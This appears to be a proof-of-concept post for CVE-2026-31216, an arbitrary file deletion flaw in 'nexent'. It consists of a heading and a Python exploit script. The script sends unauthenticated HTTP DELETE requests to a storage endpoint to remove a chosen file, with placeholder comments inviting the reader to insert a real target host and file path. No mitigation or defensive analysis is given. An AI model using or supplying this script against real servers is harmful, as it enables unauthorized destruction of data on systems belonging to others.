CVE-2026-31216 nexent任意文件删除漏洞

import requests def exploit(target_host, file_path): # The vulnerable endpoint allowing unauthenticated file deletion url = f"{target_host}/storage/{file_path}" try: # Sending DELETE request without authentication headers response = requests.delete(url, timeout=10) if response.status_code == 204 or response.status_code == 200: print(f"[+] Exploit successful: File '{file_path}' has been deleted.") return True else: print(f"[-] Exploit failed: Server returned status {response.status_code}") return False except Exception as e: print(f"[!] Connection error: {e}") return False if __name__ == "__main__": target = "http://127.0.0.1:8080" # Replace with actual target sensitive_file = "config/app_settings.json" # Replace with target file path exploit(target, sensitive_file)